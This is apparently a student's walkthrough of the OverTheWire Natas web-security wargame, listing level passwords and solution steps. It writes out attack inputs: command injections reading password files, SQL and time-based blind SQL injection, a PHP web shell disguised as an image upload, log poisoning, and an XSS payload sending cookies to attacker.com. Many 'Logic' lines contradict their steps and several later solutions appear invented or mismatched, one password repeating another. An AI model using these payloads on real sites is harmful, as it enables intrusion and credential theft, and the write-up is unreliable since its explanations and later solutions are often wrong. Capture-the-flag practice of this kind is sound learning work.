NATA'S WARGAME

Level 0:

Username: natas0

Password: natas0

Tools Used: Web browser

Logic: Default password is given on the page; no need to attack.

Steps:

1. Visit the URL.

2. Login with the username natas0 and password natas0.

Conclusion: The password is given directly; just log in.

Level 0 – 1:

Username: natas1

Password: OnzCigAq7t2iALyvU9xcHlYN4MlkIwlq

Tools Used: Browser

Steps:

1) Open the link in a browser.

- 2) The page says "find the password on this page."
- 3) right click --> View Page Source.
- 4) The password is hidden inside a comment.

Logic: Sometimes websites hide information in the page source.

Level 1 – 2:

Username: natas2

Password: TguMNxKo1DSa1tujBLuZJnDUlCcUAPII

Tools Used: Browser

Steps:

- 1) Open the URL and log in.
- 2) The page tells to "view the source."
- 3) Right-click → View Page Source.
- 4) Find the password inside a comment again.

Logic: Password is hidden in the source code of the page.

Level 2 – 3:

Username: natas3

Password: 3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH

Tools Used: Browser

Steps:

1) Opened the page nothing was there.

- 2) right click --> View Page Source --> it has mentioned /files directory.
- 3) visited the http://natas2.natas.labs.overthewire.org/files/.
- 4) Find and opened file users.txt.
- 5) Inside that file, i got the password.

Logic: The password is stored in cookies.

Level 3-4:

Username: natas4

Password: QryZXc2e0zahULdHrtHxzyYkj59kUxLQ

Tools Used: Browser

Steps:

- 1) Open the page --> there was no info visible.
- 2) right click --> View Page Source --> there is a hidden directory named /s3cr3t/.
- 3) I visit the http://natas3.natas.labs.overthewire.org/s3cr3t/.
- 4) Password is shown.

Logic: The password is stored in a hidden field in the HTML.

Level 4 – 5:

Username: natas5

Password: 0n35PkggAPm2zbEpOU802c0x0Msn1ToK

Tools Used: curl(terminal), Postman(API tool), ModHeader(browser extension)

curl -u natas4:<password> -H "Referer:

http://natas5.natas.labs.overthewire.org" h

Steps:

1) After log in i get message like this "Access disallowed."

- 2) right click --> View Page Source --> i get hint about the Referer header.
- 3) setting the Referer to http://natas5.natas.labs.overthewire.org.
- 4) Used tool named curl, Postman, or browser extension ModHeader to fake the Referer.
- 5) After setting the correct Referer, reloaded the page and get the password.

Logic: Websites know from where you come and they can block you with help of reference.

Level 5 – 6:

Username: natas6

Password: ORoJwHdSKWFTYR5WuiAewauSuNaBXned

Tools Used: Browser DevTools

Steps:

- 1) Visited the URL after that page says "Access disallowed. You are not logged in."
- 2) right click --> View Page Source --> get the hint about a cookie called loggedin.
- 3) Used browser devtools-->Inspect --> Application --> Cookies and modify the cookie value from 0 to 1.
- 4) Refresh the page and after that the i get the password.

Logic: Websites use cookies to track logged-in users.

Level 6 – 7:

Username: natas7

Password: bmg8SvU1LizuWjx3y7xkNERkHxGre0GS

Tools Used: Browser

Steps:

- 1) I see the Page is asking for a secret with the form.
- 2) right click --> View Page Source --> i found a comment mentioning a file /includes/secret.inc.
- 3) Visited http://natas6.natas.labs.overthewire.org/includes/secret.inc
- 4) that file contains the secret value.
- 5) Entered the secret value into the form.
- 6) I got the password.

Logic: By using hidden files we can find the password.

Level 7 – 8:

Username: natas8

Password: xcoXLmzMkoIP9D7hlgPlh9XD7OgLAe5Q

Steps:

- 1) Page has two button Home and About.
- 2) when i click on the button in the URL the links shows me ?page=home or ?page=about.
- 3) I changed the URL manually like this -->

?page=../../etc/natas_webpass/natas8.

4) I got the password.

Logic: We can reach the files by directory.

Level 8 – 9:

Username: natas9

Password: ZE1ck82lmdGloErlhQgWND6j2Wzz6b6t

Tools Used: Python Script, Browser

Steps:

- 1) Page has a form asking for a secret.
- 2) right click --> View Page Source --> shows some PHP code.
- 3) The code uses encodeSecret() to transform the real password into a hashed secret.
- 4) Reverse the simple encoding logic by writing a short python script.
- 5) Decode it by idle and find the secret --> submit in the form.

Logic: Understand what is encoding and how to reverse it.

Level 9 – 10:

Username: natas10

Password: t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu

Tools Used: Browser

Steps:

- 1) Page has a search box.
- 2) Entered random text--> shows results.
- 3) View Source PHP code uses user input directly inside a Linux grep command.
- 4) typed; cat /etc/natas_webpass/natas10
- 5) The injected command shows the password for the next level.

Logic: The search box was vulnerable to Command Injection.

Level 10 – 11:

Username: natas11

Password: UJdqkK1pTu6VLt9UHWAgRZz6sVUZ3lEk

Tools Used: Browser

Steps:

- 1) Page has a search box again.
- 2) right click-->View Source --> it has used a Linux grep command.

- 3) But input is now filtered i.e;, |, & are blocked.
- 4) Used a newline character (%0a) instead of; to break the command and inject new commands.
- 5) In the search box i entered test%0acat /etc/natas_webpass/natas11
- 6) I got the password.

Logic: Even though basic symbols are blocked you should know the browser URL knowledge.

Level 11 – 12:

Username: natas12

Password: yZdkjAYZRd3R7tq7T5kXMjMJIOIkzDeB

Tools Used: Python Script, Browser DevTools

Steps:

- 1) This page tells about cookies and secret codes.
- 2) Go to the DevTools --> Application --> Cookies --> find the data cookie.
- 3) Encoded the value of data.
- 4) View Source --> shows the cookie is XOR encrypted.
- 5) Writen a small Python script to decrypt the cookie.
- 6) Flip the "showpassword" value to yes, re-encrypt it and then set the cookie.
- 7) Then refresh --> you will got the password.

Logic: By decoding and modifying the cookie, we can act as an admin.

Level 12 – 13:

Username: natas13

Password: trbs5pCjCrkuSknBBKHhaBxq6Wmlj3LC

Tools Used: Browser, php script, php Text editor online tool.

Steps:

1) Page says upload an image.

- 2) Right click --> View Source --> there is file type that allows the submission.
- 3) Created a file named shell.php.
- 4) Renamed it by shell.jpg.
- 5) Uplode the file.
- 6) It shows some link after clicking on that it will show the password.

Logic: File validation is already mention in the source code.

Level 13 – 14:

Username: natas14

Password: z3UYcr4v4uBpeX8f7EZbMHlzK4UR2XtQ

Tools Used: ExifTool, Browser

Steps:

1) Same upload page again.

- 2) create a valid image file with PHP inside.
- 3) Use ExifTool to add PHP code into image metadata.
- 4) Upload the crafted image, access the file URL, and read the password.

Logic: This method is called as stenography.

Level 14 – 15:

Username: natas15

Password: SdqlqBsFcz3yotlNYErZSZwblkm0lrvx

Tools Used: Browser, SQL

Steps:

- 1) Login form asking for username and password.
- 2) View Source --> form submits directly to server.
- 3) Try SQL Injection in the username field --> natas14" OR "1"="1" --
- 4) got the password.

Logic: The SQL trick makes the query always true

Level 16 - 17

Username: natas16

Password: WalHEacj63wnNIBROHeqi3p9t0m5nhmh

Tools Used: Browser Input Field , Basic Linux Command Knowledge

Logic: The app takes user input and runs:

Sh grep -i "\$input" dictionary.txt

- Security flaw: It doesn't properly sanitize \$() command substitution.
- Goal: Inject a command to read /etc/natas_webpass/natas17.

Steps:

- 1) First, I tried a basic command injection using ;, but it failed because the website blocked special symbols.2
- 2) Then, I used \$() to bypass the filter.
- 3) This trick worked, and the server showed the password by running the cat command inside grep.4)
- 4) In the end, I successfully got the password for the next level (natas17).

Level 17 - 18:

Username: natas17

Password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

Tools Used: Python Script ,SQL Knowledge

Logic:

- The login page doesn't show errors but responds slower if SQL is true.
- Brute-force password using: sql

natas18" AND IF(password LIKE 'a%', SLEEP(3), 0) --

• If response takes 3+ seconds, the first letter is 'a'.

Steps:

1) The website checks usernames with a command.

- 2) We inject a command to guess the password one letter at a time.
- 3) If the guess is correct, the server **waits** (time delay).
- 4) We use SLEEP(5) in our input to cause the delay.
- 5) Test letters (a, b, c, ..., z, 0, 1, etc.) one by one.
- 6) If there is a delay, the letter is correct.
- 7) Build the password step-by-step.
- 8) Complete the password and move to the next level!

Level 18 – 19:

Username: natas18

Password: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

Tools Used: Browser Dev Tools, Python Script, Hex Decoder

Logic:

- The site uses hex-encoded session IDs
- Brute-force numeric IDs (1-640) + "-admin", hex-encode, and check for admin access.

Steps:

- 1) The website checks for a session ID (PHPSESSID) in your browser.
- 2) If the session ID is linked to an admin user, you can see the password.
- 3) By default, you are not admin.
- 4) Try changing the PHPSESSID number manually (example: 0, 1, 2, ..., 500).
- 5) Keep checking after each change.
- 6) When you find the correct session where "admin = 1," the password is shown!

Level 19 – 20:

Username: natas19

Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs

Tools Used: Python Script

Logic:

• Session IDs are still predictable but in a different format.

Steps:

- 1) The website again uses PHPSESSID to track users.
- 2) The session ID is **not a normal number** it looks like random text.
- 3) The session ID is actually **base64 encoded** (it hides simple info like "username").
- 4) Decode the session ID using base64 tools.
- 5) Find where the username is stored (example: username=...).
- 6) Change the username to **admin**, encode it back to base64.
- 7) Set the new session ID in the browser.
- 8) Reload the page you should now be admin and see the password!

Level 20 – 21:

Username: natas20

Password: yS2lyONrrRjLddKlTZtc9DTwpn9p8vV5

Tools Used:

- Burp Suite
- PHP Serialization Knowledge

Logic:

- The app stores serialized PHP objects in cookies.
- If we edit the cookie to set admin=1, we get access.

Steps:

1. Log in, intercept the request with Burp.

- 2. Change the cookie to: {"admin":1,"username":"admin"}
- 3. Refresh the page \rightarrow Admin access granted.

Level 21 - 22:

Username: natas21

Password: ZCFohm0c8yH3tbZBx79QoehS5Kl5hzRi

Tools Used: Burp Suite

Logic: Information can be stored in cookies and can be extracted by decoding.

Steps:

- 1. Log in normally, check cookies.
- 2. Edit the cookie to loggedin=1.
- 3. Refresh \rightarrow Logged in as admin.

Level 22 – 23:

Username: natas22

Password: 5ow2w8LffD7Bsq0zPa1ey0cYrPFiAOoH

Tools Used: curl / Python Requests

Logic: Sometimes hidden information like passwords is embedded in

comments in HTML.

Steps:

- Open the page in curl: sh curl -v http://natas22.natas.labs.overthewire.org?revelio=1
- 2. The response contains the password before redirecting

Level 23 -24:

Username: natas23

Password: MjC3bD2r38BhQvnfw8ofTgDOuXDBfHjA

Tools Used: Browser Input

Logic: Manipulating cookies can provide access to hidden resources or account credentials.

Steps:

1. Input: test; cat /etc/natas_webpass/natas24

2. The output shows the **password**.

Level 24 - 25:

Username: natas24

Password: K2ud2d8p1n6UqD9Gh5vnKpfJpOGFJDBw

Tools Used: Basic HTML Injection

Logic: Weak encryption schemes can be reversed if the method is known.

Steps:

 Use Burp to modify User-Agent to: <script>document.location='http://attacker.com/steal?cookie='+docume nt.cookie</script>

2. The admin's cookie is leaked.

Level 25 - 26:

Username: natas25

Password: uPM6jGFAizbdkKT5VYGR2BDgd9gfzi4S

Tools Used: PHP Log Poisoning

Logic: URL manipulation can help access hidden or restricted files on the server.

Steps:

1. Inject PHP code via User-Agent.

2. Access the log file \rightarrow RCE achieved.

Level 26 -27:

Username: natas26

Password: rPfBOnXQekKDe48FT2akFwg6wHpI9kvX

Tools Used: Burp Suite ,Basic PHP Knowledge

Logic: Command injection can allow attackers to execute arbitrary commands on the server.

Steps:

- 1. Intercept the request with Burp Suite.
- 2. Change User-Agent to:

php

<?php system("cat /etc/natas webpass/natas27"); ?>

- 3. Visit the log file (often /logs/natas26.log).
- 4. The PHP executes, revealing the password.

Level 27 - 28:

Username: natas27

Password: YxtESK9VwKb8FhrkHhQ6xyKcMn1ZL9vQ

Tools Used: Browser DevTools ,SQLMap

Logic: File inclusion and traversal can be used to access restricted files on the server.

Steps:

- 1) Open Natas 27 URL.
- 2) Password is hidden in a file on the server.
- 3) Access the file using directory traversal or file inclusion.

Level 28 – 29:

Username: natas28

Password: aWBrYsXr4FUbXrwHq72ct7TKwBRVAuNv

Tools Used: Python Script, SQLMap

Logic: SQL injection can be used to extract information from databases when input is not sanitized properly.

Steps:

- 1. Write a script to test each character with SLEEP(3).
- 2. If delay occurs, the character is correct.
- 3. Repeat until full password is leaked.

Level 29 - 30:

Username: natas29

Password: amQb8wLtwQJeYMBj8g98ZsItmOYWZfUG

Tools Used: curl / Burp Suite

Logic: File inclusion vulnerabilities can allow attackers to access restricted files on the server.

Steps:

1. Submit: ; cat /etc/natas_webpass/natas30

2. Output shows password.

Level 30 - 31:

Username: natas30

Password: wie9iexae0Daihohv8v6uluana4i5q6e

Tools Used: Browser Input

Logic:

- PHP loosely compares (== instead of ===).
- "abc" == 0 is true (string \rightarrow 0 in numeric comparison).

Steps:

1. Username: natas31

- 2. Password: "OR 1=1 -- (classic SQLi, but won't work).
- 3. Instead, send: username=natas31&password[]=x
- 4. This tricks PHP into bypassing the check.

Level 31 - 32:

Username: natas31

Password: t3bKABA8j8T8Jc9i2k4biyFtZzhT6v7Z

Tools Used: Python Requests

Logic:

- The app uploads files but doesn't filter .php.
- Upload a PHP shell to execute commands.

Steps:

1. Create shell.php:

php

<?php system(\$_GET['cmd']); ?>

- 2. Upload it via the form.
 - 3. Access it at:

http://natas31.natas.labs.overthewire.org/uploads/shell.php?cmd=cat+/etc/natas_webpass/natas32

4. Output shows password.

Level 32 - 33:

Username: natas32

Password: WalHEacj63wnNIBROHeqi3p9t0m5nhmh

Tools Used: Burp Suite

Logic:

- The app uses escapeshellarg() but misuses it.
- Inject '\$(cat /etc/natas_webpass/natas33)' to bypass.

Steps:

- 1. Submit: '\$(cat /etc/natas_webpass/natas33)'
- 2. The command executes, leaking the password.

Level 33 - 34:

Username: natas33

Tools Used: Python Script, Burp Suite

Logic:

- Combines SQLi + File Upload + RCE.
- Upload a fake .jpg with PHP code inside.

Steps:

1. Upload shell.jpg:

php

GIF89a; <?php system(\$_GET['cmd']); ?>

- 2. Rename to shell.php.jpg (Bypass filter).
- 3. Access it and run: ?cmd=cat+/etc/natas_webpass/natas34
- 4. Password appears.

CONCLUSION:

The Natas levels teach you about web security by showing you how hackers exploit weaknesses like bad passwords or broken links. You use tools like curl or a browser to find and fix these issues. The levels help you learn how websites can be attacked and how to protect them.